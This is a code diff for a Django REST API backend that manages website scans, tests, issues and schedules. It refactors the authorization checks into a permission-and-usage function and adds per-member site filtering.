-def delete_many_scans(request: object) -> object:
+def delete_many_scans(request: object=None) -> object:
     """ 
     Deletes one or more `Scans` associated
     with the passed "request.ids" 
@@ -2020,7 +1938,8 @@ def delete_many_scans(request: object) -> object:
 
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check for ids
     if ids is not None:
@@ -2039,19 +1958,17 @@ def delete_many_scans(request: object) -> object:
             
             # trying to delete scan
             try:
-                scan = Scan.objects.get(id=id)
-                if scan.site.account == account:
-                    delete_scan_s3_bg.delay(scan.id, scan.site.id, scan.page.id)
-                    update_site_and_page_info.delay(
-                        resource='scan', 
-                        page_id=str(scan.page.id)
-                    )
-                    scan.delete()
+                # delete scan and all assocaited resourses
+                data = delete_scan(id=id, user=user)
+                if data.get('reason'):
+                    raise Exception
+
                 # add to success attempts
                 num_succeeded += 1
                 succeeded.append(str(id))
             except Exception as e:
                 # add to failed attempts
+                print(e)
                 num_failed += 1
                 failed.append(str(id))
                 this_status = False
@@ -2081,7 +1998,7 @@ def delete_many_scans(request: object) -> object:
 
 
 
-def get_scans_zapier(request: object) -> object:
+def get_scans_zapier(request: object=None) -> object: 
     """ 
     Get all `Scans` associated with user's Account.
 
@@ -2093,18 +2010,21 @@ def get_scans_zapier(request: object) -> object:
     """
 
     # get request data
-    account = Member.objects.get(user=request.user).account
+    member = Member.objects.get(user=request.user)
+    account = member.account
     page_id = request.query_params.get('page_id')
     site_id = request.query_params.get('site_id')
+    id = page_id if page_id else site_id
+    id_type = 'page' if page_id else 'site'
     scans = None
     
     # deciding on scope
     resource = 'scan'
 
     # check account and resource 
-    check_data = check_account_and_resource(
-        user=request.user, resource=resource, page_id=page_id, 
-        site_id=site_id
+    check_data = check_permissions_and_usage(
+        user_id=str(request.user.id), resource=resource, 
+        action='get', id=id, id_type=id_type
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -2128,7 +2048,7 @@ def get_scans_zapier(request: object) -> object:
             time_completed=None,
         ).order_by('-time_created')
 
-    # get all account assocoiated tests
+    # get all account assocoiated scans
     if scans is None:
         scans = Scan.objects.filter(
             site__account=account,
@@ -2136,6 +2056,11 @@ def get_scans_zapier(request: object) -> object:
             time_completed=None,
         ).order_by('-time_created')
 
+    # filter out all non permissioned sites
+    if len(member.permissions.get('sites',[])) != 0:
+        id_list = [item['id'] for item in member.permissions.get('sites')]
+        scans = scans.filter(site__id__in=id_list).order_by('-time_created')
+
     # build response data
     data = []
 
@@ -2167,7 +2092,7 @@ def get_scans_zapier(request: object) -> object:
 
 
 
-def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
+def create_test(request: object=None, **kwargs) -> object:
     """ 
     Create one or more `Tests` depanding on 
     `Page` or `Site` scope
@@ -2217,7 +2142,8 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
         user = User.objects.get(id=user_id)
 
     # get account
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # updating configs if None:
     configs = account.configs if configs == None else configs
@@ -2231,13 +2157,13 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
     page_id = '' if page_id is None else page_id
     site_id = site_id if len(str(site_id)) > 0 else None
     page_id = page_id if len(str(page_id)) > 0 else None
-
-    # deciding on scope
-    resource = 'site' if site_id else 'page'
+    id = site_id if site_id else page_id
+    id_type = 'site' if site_id else 'page'
 
     # check account and resource for page or site
-    check_data = check_account_and_resource(
-        user=user, resource=resource, page_id=page_id, site_id=site_id
+    check_data = check_permissions_and_usage(
+        member=member, resource='test', action='add', 
+        id=id, id_type=id_type
     )
     if not check_data['allowed']:
         data = {
@@ -2270,8 +2196,8 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
     for p in pages:
 
         # check for account usage
-        check_data = check_account_and_resource(
-            user=user, action='add', resource='test'
+        check_data = check_permissions_and_usage(
+            member=member, action='add', resource='test'
         )
         if not check_data['allowed']:
             data = {
@@ -2346,9 +2272,13 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
             status='working',
         )
 
+        # setting format for timestamp
+        f = '%Y-%m-%d %H:%M:%S.%f'
+        timestamp = datetime.today().strftime(f)
+
         # updating latest_test info for page
         p.info['latest_test']['id'] = str(test.id)
-        p.info['latest_test']['time_created'] = str(timezone.now())
+        p.info['latest_test']['time_created'] = timestamp
         p.info['latest_test']['time_completed'] = None
         p.info['latest_test']['score'] = None
         p.info['latest_test']['status'] = 'working'
@@ -2356,7 +2286,7 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
 
         # updating latest_test info for site
         p.site.info['latest_test']['id'] = str(test.id)
-        p.site.info['latest_test']['time_created'] = str(timezone.now())
+        p.site.info['latest_test']['time_created'] = timestamp
         p.site.info['latest_test']['time_completed'] = None
         p.site.info['latest_test']['score'] = None
         p.site.info['latest_test']['status'] = 'working'
@@ -2396,7 +2326,7 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
 
 
 
-def create_many_tests(request: object) -> object:
+def create_many_tests(request: object=None) -> object:
     """ 
     Bulk creates `Tests` for each requested `Page`.
     Either scoped for many `Pages` or many `Sites`.
@@ -2421,7 +2351,8 @@ def create_many_tests(request: object) -> object:
     types = request.data.get('type', settings.TYPES)
     tags = request.data.get('tags')
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # updating configs if None:
     configs = account.configs if configs == None else configs
@@ -2446,7 +2377,7 @@ def create_many_tests(request: object) -> object:
             }
             try:
                 # create test
-                res = create_test(delay=True, **data)
+                res = create_test(**data)
                 if res['success']:
                     num_succeeded += 1
                     succeeded.append(str(id))
@@ -2454,7 +2385,7 @@ def create_many_tests(request: object) -> object:
                     num_failed += 1
                     this_status = False
                     failed.append(str(id))
-                    print(res['message'])
+                    print(res['reason'])
             except Exception as e:
                 print(e)
                 if str(id) not in failed:
@@ -2475,7 +2406,7 @@ def create_many_tests(request: object) -> object:
             }
             try:
                 # create test
-                res = create_test(delay=True, **data)
+                res = create_test(**data)
                 if res['success']:
                     num_succeeded += 1
                     succeeded.append(str(id))
@@ -2483,7 +2414,7 @@ def create_many_tests(request: object) -> object:
                     num_failed += 1
                     this_status = False
                     failed.append(str(id))
-                    print(res['message'])
+                    print(res['reason'])
             except Exception as e:
                 print(e)
                 if str(id) not in failed:
@@ -2505,7 +2436,7 @@ def create_many_tests(request: object) -> object:
 
 
 
-def get_tests(request: object) -> object:
+def get_tests(request: object=None) -> object:
     """ 
     Get one or more `Tests`.
 
@@ -2521,14 +2452,17 @@ def get_tests(request: object) -> object:
     page_id = request.query_params.get('page_id')
     lean = request.query_params.get('lean')
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
     
     # deciding on scope
-    resource = 'page' if page_id else 'test'
+    id = test_id if test_id else page_id
+    id_type = 'page' if page_id else 'test'
 
     # check account and resource 
-    check_data = check_account_and_resource(
-        user=user, resource=resource, page_id=page_id, test_id=test_id
+    check_data = check_permissions_and_usage(
+        member=member, resource='test', 
+        action='add',id=id, id_type=id_type
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -2566,7 +2500,7 @@ def get_tests(request: object) -> object:
 
 
 
-def get_test(request: object, id: str) -> object:
+def get_test(request: object=None, id: str=None) -> object:
     """
     Get single `Test` from the passed "id"
 
@@ -2580,11 +2514,13 @@ def get_test(request: object, id: str) -> object:
 
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, 
-        test_id=id, resource='test'
+    check_data = check_permissions_and_usage(
+        member=member, resource='test',
+        action='get', id=id, id_type='test'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -2604,7 +2540,7 @@ def get_test(request: object, id: str) -> object:
 
 
 
-def get_test_lean(request: object, id: str) -> object:
+def get_test_lean(request: object=None, id: str=None) -> object:
     """ 
     Get a single `Test` and only return scores & timestamps
 
@@ -2618,11 +2554,13 @@ def get_test_lean(request: object, id: str) -> object:
 
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check account and resource 
-    check_data = check_account_and_resource(
-        user=user, resource='scan', scan_id=id
+    check_data = check_permissions_and_usage(
+        member=member, resource='test',
+        action='get', id=id, id_type='test'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -2665,7 +2603,7 @@ def get_test_lean(request: object, id: str) -> object:
 
 
 
-def delete_test(request: object=None, id: str=None, account: object=None) -> object:
+def delete_test(request: object=None, id: str=None, user: object=None) -> object:
     """ 
     Deletes the `Test` associated with the passed "id" 
 
@@ -2680,14 +2618,15 @@ def delete_test(request: object=None, id: str=None, account: object=None) -> obj
 
     # get user and account info
     if request:
-        account = Member.objects.get(user=request.user).account
         user = request.user
-    
-    if not request:
-        user = account.user
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check account and resource
-    check_data = check_account_and_resource(user=user, test_id=id, resource='test')
+    check_data = check_permissions_and_usage(
+        member=member, resource='test',
+        action='delete', id=id, id_type='test'
+    )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
         if request:
@@ -2721,7 +2660,7 @@ def delete_test(request: object=None, id: str=None, account: object=None) -> obj
 
 
 
-def delete_many_tests(request: object) -> object:
+def delete_many_tests(request: object=None) -> object:
     """ 
     Deletes one or more `Tests` associated
     with the passed "request.ids" 
@@ -2738,7 +2677,8 @@ def delete_many_tests(request: object) -> object:
 
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check for ids
     if ids is not None:
@@ -2755,21 +2695,19 @@ def delete_many_tests(request: object) -> object:
         # loop through passed ids
         for id in ids:
 
-            # trying to delete site
+            # trying to delete test
             try:
-                test = Test.objects.get(id=id)
-                if test.site.account == account:
-                    delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
-                    update_site_and_page_info.delay(
-                        resource='test', 
-                        page_id=str(test.page.id)
-                    )
-                    test.delete()
+                # delete test and all assocaited resourses
+                data = delete_test(id=id, user=user)
+                if data.get('reason'):
+                    raise Exception
+
                 # add to success attempts
                 num_succeeded += 1
                 succeeded.append(str(id))
-            except:
+            except Exception as e:
                 # add to failed attempts
+                print(e)
                 num_failed += 1
                 failed.append(str(id))
                 this_status = False
@@ -2799,7 +2737,7 @@ def delete_many_tests(request: object) -> object:
 
 
 
-def get_tests_zapier(request: object) -> object:
+def get_tests_zapier(request: object=None) -> object:
     """ 
     Get all `Tests` associated with user's Account.
 
@@ -2811,9 +2749,12 @@ def get_tests_zapier(request: object) -> object:
     """
 
     # get request data
-    account = Member.objects.get(user=request.user).account
+    member = Member.objects.get(user=request.user)
+    account = member.account
     page_id = request.query_params.get('page_id')
     site_id = request.query_params.get('site_id')
+    id = page_id if page_id else site_id
+    id_type = 'page' if page_id else 'site'
     _status = request.query_params.get('status')
     tests = None
     
@@ -2821,9 +2762,9 @@ def get_tests_zapier(request: object) -> object:
     resource = 'test'
 
     # check account and resource 
-    check_data = check_account_and_resource(
-        user=request.user, resource=resource, page_id=page_id, 
-        site_id=site_id
+    check_data = check_permissions_and_usage(
+        user_id=str(request.user.id), resource=resource, 
+        action='get', id=id, id_type=id_type
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -2865,6 +2806,11 @@ def get_tests_zapier(request: object) -> object:
     if status is not None:
         tests = tests.filter(status=_status)
 
+    # filter out all non permissioned sites
+    if len(member.permissions.get('sites',[])) != 0:
+        id_list = [item['id'] for item in member.permissions.get('sites')]
+        tests = tests.filter(site__id__in=id_list).order_by('-time_created')
+
     # build response data
     data = []
 
@@ -2916,7 +2862,9 @@ def create_or_update_issue(request: object=None, **kwargs) -> object:
         _status = request.data.get('status')
         affected = request.data.get('affected')
         labels = request.data.get('labels')
-        account = Member.objects.get(user=request.user).account
+        user = request.user
+        member = Member.objects.get(user=user)
+        account = member.account
     
     # get kwargs data
     if request is None:
@@ -2928,11 +2876,18 @@ def create_or_update_issue(request: object=None, **kwargs) -> object:
         affected = kwargs.get('affected')
         labels = kwargs.get('labels')
         account_id = kwargs.get('account_id')
+        user_id = kwargs.get('user_id')
+        user = User.objects.get(id=user_id)
+        member = Member.objects.get(user=user)
         account = Account.objects.get(id=account_id)
 
+    # decide on action
+    action = 'update' if id else 'add'
+
     # check account and resource
-    check_data = check_account_and_resource(user=account.user, 
-        issue_id=id, resource='issue'
+    check_data = check_permissions_and_usage(
+        member=member, resource='issue', 
+        action=action, id=id, id_type='issue'
     )
     if not check_data['allowed']:
         data = {
@@ -3012,7 +2967,8 @@ def update_many_issues(request: object=None) -> object:
     #  get request data
     ids = request.data.get('ids')
     updates = request.data.get('updates')
-    member = Member.objects.get(user=request.user)
+    user = request.user
+    member = Member.objects.get(user=user)
     account = member.account
 
     # set defaults
@@ -3028,18 +2984,18 @@ def update_many_issues(request: object=None) -> object:
         data = updates
         data['id'] = str(id)
         data['account_id'] = str(account.id)
+        data['user_id'] = str(user.id)
 
         # send update
         try:
-            res = create_or_update_issue(**data)
-            if res['success']:
-                num_succeeded += 1
-                succeeded.append(str(id))
-            else:
-                num_failed += 1
-                this_status = False
-                failed.append(str(id))
-                print(res['message'])
+            data = create_or_update_issue(**data)
+            if data.get('reason'):
+                raise Exception
+            
+            # add to success attempts
+            num_succeeded += 1
+            succeeded.append(str(id))
+
         except Exception as e:
             print(e)
             if str(id) not in failed:
@@ -3061,7 +3017,7 @@ def update_many_issues(request: object=None) -> object:
 
 
 
-def get_issues(request: object) -> object:
+def get_issues(request: object=None) -> object:
     """ 
     Get one or more `Issues`.
 
@@ -3076,16 +3032,21 @@ def get_issues(request: object) -> object:
     issue_id = request.query_params.get('issue_id')
     site_id = request.query_params.get('site_id')
     page_id = request.query_params.get('page_id')
-    account = Member.objects.get(user=request.user).account
+    
+    user = request.user
+    member = Member.objects.get(user=request.user)
+    account = member.account
     issues = None
     
     # deciding on scope
     resource = 'issue'
+    id = issue_id if issue_id else (site_id if site_id else page_id)
+    id_type = 'issue' if issue_id else ('site' if site_id else 'page')
 
     # check account and resource 
-    check_data = check_account_and_resource(
-        user=request.user, resource=resource, page_id=page_id, site_id=site_id,
-        issue_id=issue_id
+    check_data = check_permissions_and_usage(
+        member=member, resource=resource, action='get',
+        id=id, id_type=id_type,
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -3124,6 +3085,15 @@ def get_issues(request: object) -> object:
             account=account
         ).order_by('-status', '-time_created')
 
+    # filter out all non permissioned sites
+    if len(member.permissions.get('sites',[])) != 0:
+        id_list = [item['id'] for item in member.permissions.get('sites')]
+        new_ids = id_list
+        for id in id_list:
+            for page in Page.objects.filter(site__id=id):
+                new_ids.append(str(page.id))
+        issues = issues.filter(affected__id__in=new_ids).order_by('-time_created')
+
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(issues, request)
@@ -3136,7 +3106,7 @@ def get_issues(request: object) -> object:
 
 
 
-def get_issue(request: object, id: str) -> object:
+def get_issue(request: object=None, id: str=None) -> object:
     """
     Get single `Issue` from the passed "id"
 
@@ -3150,11 +3120,13 @@ def get_issue(request: object, id: str) -> object:
 
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, 
-        issue_id=id, resource='issue'
+    check_data = check_permissions_and_usage(
+        member=member, resource='issue', action='get', 
+        id=id, id_type='issue'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -3174,7 +3146,7 @@ def get_issue(request: object, id: str) -> object:
 
 
 
-def search_issues(request: object) -> object:
+def search_issues(request: object=None) -> object:
     """ 
     Searches for matching `Issues` to the passed 
     "query"
@@ -3188,8 +3160,19 @@ def search_issues(request: object) -> object:
 
     # get request data
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
     query = request.query_params.get('query')
+
+    # check account and resource 
+    check_data = check_permissions_and_usage(
+        member=member, resource='issue', action='get'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
     
     # search for issues
     issues = Issue.objects.filter(
@@ -3197,6 +3180,15 @@ def search_issues(request: object) -> object:
         Q(account=account, details__icontains=query) |
         Q(account=account, affected__icontains=query)
     ).order_by('-status', '-time_created')
+
+    # filter out all non permissioned sites
+    if len(member.permissions.get('sites',[])) != 0:
+        id_list = [item['id'] for item in member.permissions.get('sites')]
+        new_ids = id_list
+        for id in id_list:
+            for page in Page.objects.filter(site__id=id):
+                new_ids.append(str(page.id))
+        issues = issues.filter(affected__id__in=new_ids).order_by('-time_created')
     
     # serialize and rerturn
     paginator = LimitOffsetPagination()
@@ -3210,7 +3202,7 @@ def search_issues(request: object) -> object:
 
 
 
-def delete_issue(request: object, id: str) -> object:
+def delete_issue(request: object=None, id: str=None, user: object=None) -> object:
     """ 
     Deletes the `Issue` associated with the passed "id" 
 
@@ -3223,15 +3215,22 @@ def delete_issue(request: object, id: str) -> object:
     """
 
     # get user and account info
-    user = request.user
-    account = Member.objects.get(user=user).account
+    if request:
+        user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, issue_id=id, resource='issue')
+    check_data = check_permissions_and_usage(
+        member=member, resource='issue', action='delete',
+        id=id, id_type='issue',
+    )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
-        return Response(data, status=check_data['status'])
+        if request:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
 
     # get issue if checks passed
     issue = Issue.objects.get(id=id)
@@ -3241,10 +3240,12 @@ def delete_issue(request: object, id: str) -> object:
 
     # return response
     data = {'message': 'Issue has been deleted',}
-    record_api_call(request, data, '200')
-    response = Response(data, status=status.HTTP_200_OK)
-    return response
-
+    if request:
+        record_api_call(request, data, '200')
+        response = Response(data, status=status.HTTP_200_OK)
+        return response
+    return data
+    
 
 
 
@@ -3261,7 +3262,8 @@ def delete_many_issues(request: object=None) -> object:
     
     #  get request data
     ids = request.data.get('ids')
-    member = Member.objects.get(user=request.user)
+    user = request.user
+    member = Member.objects.get(user=user)
     account = member.account
 
     # set defaults
@@ -3274,21 +3276,22 @@ def delete_many_issues(request: object=None) -> object:
     # loop through ids and delete
     for id in ids:
 
-        # delete issue
+        # trying to delete issue
         try:
-            issue = Issue.objects.get(id=id)
-            if issue.account == account:
-                issue.delete()
-            elif str(id) not in failed:
-                num_failed += 1
-                this_status = False
-                failed.append(str(id))
+            # delete issue and all assocaited resourses
+            data = delete_issue(id=id, user=user)
+            if data.get('reason'):
+                raise Exception
+
+            # add to success attempts
+            num_succeeded += 1
+            succeeded.append(str(id))
         except Exception as e:
+            # add to failed attempts
             print(e)
-            if str(id) not in failed:
-                num_failed += 1
-                this_status = False
-                failed.append(str(id))
+            num_failed += 1
+            failed.append(str(id))
+            this_status = False
 
     # format and return
     data = {
@@ -3304,7 +3307,7 @@ def delete_many_issues(request: object=None) -> object:
 
 
 
-def get_issues_zapier(request: object) -> object:
+def get_issues_zapier(request: object=None) -> object:
     """ 
     Get all `Issues` associated with user's Account.
 
@@ -3316,18 +3319,21 @@ def get_issues_zapier(request: object) -> object:
     """
 
     # get request data
-    account = Member.objects.get(user=request.user).account
+    member = Member.objects.get(user=request.user)
+    account = member.account
     page_id = request.query_params.get('page_id')
     site_id = request.query_params.get('site_id')
+    id = page_id if page_id else site_id
+    id_type = 'page' if page_id else 'site'
     issues = None
     
     # deciding on scope
     resource = 'issue'
 
     # check account and resource 
-    check_data = check_account_and_resource(
-        user=request.user, resource=resource, page_id=page_id,
-        site_id=site_id
+    check_data = check_permissions_and_usage(
+        user_id=str(request.user.id), resource=resource, 
+        action='get', id=id, id_type=id_type
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -3353,6 +3359,15 @@ def get_issues_zapier(request: object) -> object:
             account=account
         ).order_by('-status', '-time_created')
 
+    # filter out all non permissioned sites
+    if len(member.permissions.get('sites',[])) != 0:
+        id_list = [item['id'] for item in member.permissions.get('sites')]
+        new_ids = id_list
+        for id in id_list:
+            for page in Page.objects.filter(site__id=id):
+                new_ids.append(str(page.id))
+        issues = issues.filter(affected__id__in=new_ids).order_by('-time_created')
+
     # build response data
     data = []
 
@@ -3399,14 +3414,14 @@ def create_or_update_schedule(request: object=None, **kwargs) -> object:
         timezone = request.data.get('timezone')
         freq = request.data.get('frequency')
         task_type = request.data.get('task_type')
-        test_type = request.data.get('test_type', settings.TYPES)
-        scan_type = request.data.get('scan_type', settings.TYPES)
+        types = request.data.get('type', settings.TYPES)
         configs = request.data.get('configs', None)
         threshold = request.data.get('threshold', settings.TEST_THRESHOLD)
         schedule_id = request.data.get('schedule_id')
         resources = request.data.get('resources')
         scope = request.data.get('scope')
         case_id = request.data.get('case_id')
+        flow_id = request.data.get('flow_id')
         updates = request.data.get('updates')
         user = request.user
     
@@ -3417,21 +3432,22 @@ def create_or_update_schedule(request: object=None, **kwargs) -> object:
         timezone = kwargs.get('timezone')
         freq = kwargs.get('frequency')
         task_type = kwargs.get('task_type')
-        test_type = kwargs.get('test_type', settings.TYPES)
-        scan_type = kwargs.get('scan_type', settings.TYPES)
+        types = kwargs.get('type', settings.TYPES)
         configs = kwargs.get('configs', None)
         threshold = kwargs.get('threshold', settings.TEST_THRESHOLD)
         schedule_id = kwargs.get('schedule_id')
         resources = kwargs.get('resources')
         scope = kwargs.get('scope')
         case_id = kwargs.get('case_id')
+        flow_id = kwargs.get('flow_id')
         updates = kwargs.get('updates')
         user_id = kwargs.get('user_id')
         user = User.objects.get(id=user_id)
         
 
     # get account
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # updating configs if None:
     configs = account.configs if configs == None else configs
@@ -3440,12 +3456,12 @@ def create_or_update_schedule(request: object=None, **kwargs) -> object:
     schedule = None
     
     # deciding on action type
-    action = 'add' if not schedule_id else None
+    action = 'add' if not schedule_id else 'update'
 
     # checking account and resource 
-    check_data = check_account_and_resource(
-        user=user, resource='schedule', 
-        schedule_id=schedule_id, action=action
+    check_data = check_permissions_and_usage(
+        member=member, resource='schedule', 
+        action=action, id=schedule_id, id_type='schedule'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -3474,12 +3490,12 @@ def create_or_update_schedule(request: object=None, **kwargs) -> object:
     # creating or updating schedule
     if not schedule_status:
 
-        # get automation if schedule exists
-        auto_id = None
+        # get alert if schedule exists
+        alert_id = None
         if schedule:
-            if Automation.objects.filter(schedule=schedule).exists():
-                automation = Automation.objects.filter(schedule=schedule)[0]
-                auto_id = str(automation.id)
+            if Alert.objects.filter(schedule=schedule).exists():
+                alert = Alert.objects.filter(schedule=schedule)[0]
+                alert_id = str(alert.id)
 
         # build task
         task = f'api.tasks.create_{task_type}_bg'
@@ -3492,9 +3508,10 @@ def create_or_update_schedule(request: object=None, **kwargs) -> object:
             'updates': updates,
             'configs': configs,
             'case_id': case_id,
-            'type': scan_type if task_type == 'scan' else test_type,
+            'flow_id': flow_id,
+            'type': types,
             'threshold': threshold,
-            'automation_id': auto_id,
+            'alert_id': alert_id,
         }
 
         # setting start date default
@@ -3585,9 +3602,9 @@ def create_or_update_schedule(request: object=None, **kwargs) -> object:
         # building extras for scheduls
         extras = {
             "configs": configs,
-            "test_type": test_type,
-            "scan_type": scan_type, 
+            "type": types,
             "case_id": case_id, 
+            "flow_id": flow_id, 
             "updates": updates,
             "threshold": threshold,
         }
@@ -3636,6 +3653,10 @@ def create_or_update_schedule(request: object=None, **kwargs) -> object:
                 account=account
             )
 
+            # updated accounts usage
+            account.usage['schedules'] += 1
+            account.save()
+
     # deciding on response type
     if request:
         # serialize and return
@@ -3689,15 +3710,13 @@ def update_many_schedules(request: object=None) -> object:
 
         # send update
         try:
-            res = create_or_update_schedule(**data)
-            if res['success']:
-                num_succeeded += 1
-                succeeded.append(str(id))
-            else:
-                num_failed += 1
-                this_status = False
-                failed.append(str(id))
-                print(res['message'])
+            data = create_or_update_schedule(**data)
+            if data.get('reason'):
+                raise Exception(data['reason'])
+            # add to success attempts
+            num_succeeded += 1
+            succeeded.append(str(id))
+
         except Exception as e:
             print(e)
             if str(id) not in failed:
@@ -3719,7 +3738,7 @@ def update_many_schedules(request: object=None) -> object:
 
 
 
-def run_schedule(request: object) -> object:
+def run_schedule(request: object=None) -> object:
     """
     Grabs all the args from the asociated perodic_task
     and executes the task manually without interupting
@@ -3737,12 +3756,13 @@ def run_schedule(request: object) -> object:
 
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # checking account and resource 
-    check_data = check_account_and_resource(
-        request=request, resource='schedule', 
-        schedule_id=schedule_id,
+    check_data = check_permissions_and_usage(
+        member=member, resource='schedule', 
+        action='add', id=schedule_id, id_type='schedule'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -3772,9 +3792,14 @@ def run_schedule(request: object) -> object:
         create_test_bg.delay(
             **task_kwargs
         )
-    if task == 'testcase':
-        # run create_testcase_bg
-        create_testcase_bg.delay(
+    if task == 'caserun':
+        # run create_caserun_bg
+        create_caserun_bg.delay(
+            **task_kwargs
+        )
+    if task == 'flowrun':
+        # run create_flowrun_bg
+        create_flowrun_bg.delay(
             **task_kwargs
         )
     if task == 'report':
@@ -3793,7 +3818,7 @@ def run_schedule(request: object) -> object:
 
 
 
-def get_schedules(request: object) -> object:
+def get_schedules(request: object=None) -> object:
     """ 
     Get one or more `Schedules`.
 
@@ -3809,15 +3834,16 @@ def get_schedules(request: object) -> object:
     scope = request.query_params.get('scope')
     resource_id = request.query_params.get('resource_id')
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # setting default
     schedules = None
 
     # check account and resource 
-    check_data = check_account_and_resource(
-        user=user, resource='schedule',
-        schedule_id=schedule_id
+    check_data = check_permissions_and_usage(
+        member=member, resource='schedule', 
+        action='get', id=schedule_id, id_type='schedule'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -3871,7 +3897,7 @@ def get_schedules(request: object) -> object:
 
 
 
-def get_schedule(request: object, id: str) -> object:
+def get_schedule(request: object=None, id: str=None) -> object:
     """
     Get single `Schedule` from the passed "id"
 
@@ -3885,11 +3911,13 @@ def get_schedule(request: object, id: str) -> object:
 
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, 
-        schedule_id=id, resource='schedule'
+    check_data = check_permissions_and_usage(
+        member=member, resource='schedule', 
+        action='get', id=id, id_type='schedule'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -3909,28 +3937,36 @@ def get_schedule(request: object, id: str) -> object:
 
 
 
-def delete_schedule(request: object, id: str) -> object:
+def delete_schedule(request: object=None, id: str=None, user: object=None) -> object:
     """ 
     Deletes the `Schedule` associated with the passed "id" 
 
     Expcets: {
         'request' : object,
-        'id'      : str
+        'id'      : str,
+        'user'    : object
     }
 
     Returns -> HTTP Response object
     """
 
     # get user and account info
-    user = request.user
-    account = Member.objects.get(user=user).account
+    if request:
+        user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, schedule_id=id, resource='schedule')
+    check_data = check_permissions_and_usage(
+        member=member, resource='schedule',
+        action='delete', id=id, id_type='schedule'
+    )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
-        return Response(data, status=check_data['status'])
+        if request:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
 
     # get schedule and task if checks passed
     schedule = Schedule.objects.get(id=id)
@@ -3942,11 +3978,16 @@ def delete_schedule(request: object, id: str) -> object:
     # delete task
     task.delete()
 
+    # decrement resource
+    decrement_resource(account=account, resource='schedules')
+
     # return response
     data = {'message': 'Schedule has been deleted',}
-    record_api_call(request, data, '200')
-    response = Response(data, status=status.HTTP_200_OK)
-    return response
+    if request:
+        record_api_call(request, data, '200')
+        response = Response(data, status=status.HTTP_200_OK)
+        return response
+    return data
 
 
 
@@ -3964,7 +4005,8 @@ def delete_many_schedules(request: object=None) -> object:
     
     #  get request data
     ids = request.data.get('ids')
-    member = Member.objects.get(user=request.user)
+    user = request.user
+    member = Member.objects.get(user=user)
     account = member.account
 
     # set defaults
@@ -3977,23 +4019,22 @@ def delete_many_schedules(request: object=None) -> object:
     # loop through ids and delete
     for id in ids:
 
-        # delete schedule
+        # trying to delete schedule
         try:
-            schedule = Schedule.objects.get(id=id)
-            task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
-            if schedule.account == account:
-                schedule.delete()
-                task.delete()
-            elif str(id) not in failed:
-                num_failed += 1
-                this_status = False
-                failed.append(str(id))
+            # delete issue and all assocaited resourses
+            data = delete_schedule(id=id, user=user)
+            if data.get('reason'):
+                raise Exception
+
+            # add to success attempts
+            num_succeeded += 1
+            succeeded.append(str(id))
         except Exception as e:
+            # add to failed attempts
             print(e)
-            if str(id) not in failed:
-                num_failed += 1
-                this_status = False
-                failed.append(str(id))
+            num_failed += 1
+            failed.append(str(id))
+            this_status = False
 
     # format and return
     data = {
